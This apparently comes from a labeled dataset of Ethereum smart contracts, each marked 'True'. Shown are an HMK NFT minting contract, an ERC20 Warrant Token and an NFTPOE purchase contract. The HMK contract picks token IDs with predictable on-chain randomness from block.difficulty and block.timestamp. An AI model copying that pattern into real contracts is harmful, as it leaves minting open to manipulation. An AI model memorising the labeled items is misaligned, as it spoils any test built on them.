bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
contract HMK is ERC721, Ownable, ERC721Enumerable, ReentrancyGuard {
using Strings for uint256;
uint256 constant private MAX_NFT = 5555;
uint256 public MAX_MINT_PRESALE = 10;
uint256 public MAX_MINT_SALE = 10;
uint256 public MAX_BY_MINT_IN_TRANSACTION_PRESALE = 10;
uint256 public MAX_BY_MINT_IN_TRANSACTION_SALE = 10;
uint256 public PRESALE_MINTED;
uint256 public SALE_MINTED;
uint256 public GIVEAWAY_MINTED;
uint256 public PRESALE_PRICE = 6 * 10**16;
uint256 public SALE_PRICE = 72 * 10**15;
bool public presaleEnable = false;
bool public saleEnable = false;
string private baseURI;
bytes32 public merkleRoot;
uint[MAX_NFT] public indices;
uint nonce;
struct User {
uint256 presalemint;
uint256 salemint;
}
mapping (address => User) public users;
constructor() ERC721('Handsome Monkey King Club', 'HMK') {}
function mintGiveawayNFT(address _to, uint256 _count) public onlyOwner{
uint256 totalSupply = totalSupply();
require(
totalSupply + _count <= MAX_NFT,
"Max limit"
);
for (uint256 i = 0; i < _count; i++) {
uint256 tokenId = _randMod();
_safeMint(_to, tokenId);
GIVEAWAY_MINTED++;
}
}
function mintPreSaleNFT(uint256 _count, bytes32[] calldata merkleProof) public payable{
bytes32 node = keccak256(abi.encodePacked(msg.sender));
uint256 totalSupply = totalSupply();
require(
presaleEnable,
"Pre-sale is not enable"
);
require(
totalSupply + _count <= MAX_NFT,
"Exceeds max limit"
);
require(
MerkleProof.verify(merkleProof, merkleRoot, node),
"MerkleDistributor: Invalid proof."
);
require(
users[msg.sender].presalemint + _count <= MAX_MINT_PRESALE,
"Exceeds max mint limit per wallet"
);
require(
_count <= MAX_BY_MINT_IN_TRANSACTION_PRESALE,
"Exceeds max mint limit per tnx"
);
require(
msg.value >= PRESALE_PRICE * _count,
"Value below price"
);
for (uint256 i = 0; i < _count; i++) {
uint256 tokenId = _randMod();
_safeMint(msg.sender, tokenId);
PRESALE_MINTED++;
}
users[msg.sender].presalemint = users[msg.sender].presalemint + _count;
}
function mintSaleNFT(uint256 _count) public payable{
uint256 totalSupply = totalSupply();
require(
saleEnable,
"Sale is not enable"
);
require(
totalSupply + _count <= MAX_NFT,
"Exceeds max limit"
);
require(
users[msg.sender].salemint + _count <= MAX_MINT_SALE,
"Exceeds max mint limit per wallet"
);
require(
_count <= MAX_BY_MINT_IN_TRANSACTION_SALE,
"Exceeds max mint limit per tnx"
);
require(
msg.value >= SALE_PRICE * _count,
"Value below price"
);
for (uint256 i = 0; i < _count; i++) {
uint256 tokenId = _randMod();
_safeMint(msg.sender, tokenId);
SALE_MINTED++;
}
users[msg.sender].salemint = users[msg.sender].salemint + _count;
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable){
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) {
return super.supportsInterface(interfaceId);
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
require(_exists(_tokenId), "ERC721Metadata: URI query for nonexistent token");
return string(abi.encodePacked(baseURI, _tokenId.toString(), ".json"));
}
function setURI(string memory _URI) external onlyOwner {
baseURI = _URI;
}
function withdraw() external onlyOwner {
require(payable(msg.sender).send(address(this).balance));
}
function updateSalePrice(uint256 newPrice) external onlyOwner {
SALE_PRICE = newPrice;
}
function updatePreSalePrice(uint256 newPrice) external onlyOwner {
PRESALE_PRICE = newPrice;
}
function setSaleStatus(bool status) public onlyOwner {
require(saleEnable != status);
saleEnable = status;
}
function setPreSaleStatus(bool status) public onlyOwner {
require(presaleEnable != status);
presaleEnable = status;
}
function updateSaleMintLimit(uint256 newLimit) external onlyOwner {
require(MAX_NFT >= newLimit, "Incorrect value");
MAX_MINT_SALE = newLimit;
}
function updatePreSaleMintLimit(uint256 newLimit) external onlyOwner {
require(MAX_NFT >= newLimit, "Incorrect value");
MAX_MINT_PRESALE = newLimit;
}
function updateMintLimitPerTransectionPreSale(uint256 newLimit) external onlyOwner {
require(MAX_NFT >= newLimit, "Incorrect value");
MAX_BY_MINT_IN_TRANSACTION_PRESALE = newLimit;
}
function updateMintLimitPerTransectionSale(uint256 newLimit) external onlyOwner {
require(MAX_NFT >= newLimit, "Incorrect value");
MAX_BY_MINT_IN_TRANSACTION_SALE = newLimit;
}
function updateMerkleRoot(bytes32 newRoot) external onlyOwner {
merkleRoot = newRoot;
}
function _randMod() private returns (uint) {
uint totalSize = MAX_NFT - nonce;
uint index = uint(keccak256(abi.encodePacked(nonce, msg.sender, block.difficulty, block.timestamp))) % totalSize;
uint value = 0;
if (indices[index] != 0) {
value = indices[index];
} else {
value = index;
}
if (indices[totalSize - 1] == 0) {
indices[index] = totalSize - 1;
} else {
indices[index] = indices[totalSize - 1];
}
nonce++;
return value+1;
}
} | True | [
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pragma solidity ^0.4.24;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(uint256 initialSupply,string tokenName,string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
contract ChangeableERC20Token is TokenERC20,owned {
constructor(uint256 initialSupply,string tokenName,string tokenSymbol) TokenERC20(initialSupply,tokenName,tokenSymbol) public{
}
function changeName(string newName) public onlyOwner {
name = newName;
}
function ChangeSymbol(string newSymbol) public onlyOwner{
symbol = newSymbol;
}
}
contract WarrantToken is ChangeableERC20Token{
constructor() ChangeableERC20Token(1000000000,"Warrant Token","WAT") public {
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-11-30
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC1155 {
event TransferSingle(
address indexed _operator,
address indexed _from,
address indexed _to,
uint256 _id,
uint256 _amount
);
event TransferBatch(
address indexed _operator,
address indexed _from,
address indexed _to,
uint256[] _ids,
uint256[] _amounts
);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
event URI(string _amount, uint256 indexed _id);
function mint(
address _to,
uint256 _id,
uint256 _quantity,
bytes calldata _data
) external;
function create(
uint256 _maxSupply,
uint256 _initialSupply,
string calldata _uri,
bytes calldata _data
) external returns (uint256 tokenId);
function safeTransferFrom(
address _from,
address _to,
uint256 _id,
uint256 _amount,
bytes calldata _data
) external;
function safeBatchTransferFrom(
address _from,
address _to,
uint256[] calldata _ids,
uint256[] calldata _amounts,
bytes calldata _data
) external;
function balanceOf(address _owner, uint256 _id) external view returns (uint256);
function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids)
external
view
returns (uint256[] memory);
function setApprovalForAll(address _operator, bool _approved) external;
function isApprovedForAll(address _owner, address _operator) external view returns (bool isOperator);
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract NFTPOE is Ownable {
uint256 public nftid;
mapping(address => bool) private purchased;
mapping(address => bool) private blacklist;
address public seller;
address public rarigang;
address public currency;
address public gdao;
address public xgdao;
constructor(uint256 _nftid, address _seller, address _rarigang, address _currency, address _gdao, address _xgdao) public{
nftid = _nftid;
seller = _seller;
rarigang = _rarigang;
currency = _currency;
gdao = _gdao;
xgdao = _xgdao;
}
function addBlacklist(address user) public onlyOwner{
blacklist[user] = true;
}
function addManyBlacklist(address[] memory user) public onlyOwner{
for (uint i = 0; i < user.length; i++){
blacklist[user[i]] = true;
}
}
function removeBlacklist(address user) public onlyOwner{
blacklist[user] = false;
}
function isBlacklisted(address user) public view returns (bool){
return blacklist[user];
}
function hasPurchased(address buyer) public view returns (bool){
return purchased[buyer];
}
function purchase() public {
require(!isBlacklisted(msg.sender), "Cannot buy: blacklisted wallet!");
require(IERC20(currency).balanceOf(msg.sender) == 1, "Need to authenticate first!");
require(IERC20(gdao).balanceOf(msg.sender) >= 50*1e18 ||
IERC20(xgdao).balanceOf(msg.sender) >= 50*1e18, "Must hold 50 GDAO!");
require(!hasPurchased(msg.sender), "Cannot buy: Already purchased!");
require(IERC1155(rarigang).balanceOf(seller, nftid) > 0, "Cannot buy: No more available!");
IERC1155(rarigang).safeTransferFrom(seller, msg.sender, nftid, 1, "");
purchased[msg.sender] = true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-10-11
*/
pragma solidity ^0.8.0;
/*
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
---------- ----------- -------------- ----------- ------ ---
----------- ----------- -------------- ----------- --- -- ---
--- ----- --- --- --- --- --- ---
--- ------ ------- --- ------- ------- --- --- ---
--- ------ ------- --- ------- ------- --- --- ---
--- ----- --- --- --- --- --- --- ---
----------- ----------- -------------- ----------- --- --- ---
---------- ----------- -------------- ----------- --- ------
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
---------- ----- ------------- -----
----------- --- --- ------------- --- ---
--- ----- --- --- --- --- ---
--- ------ --- --- --- --- ---
--- ------ ------------- --- -------------
--- ----- --------------- --- ---------------
----------- --- --- --- --- ---
---------- --- --- --- --- ---
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
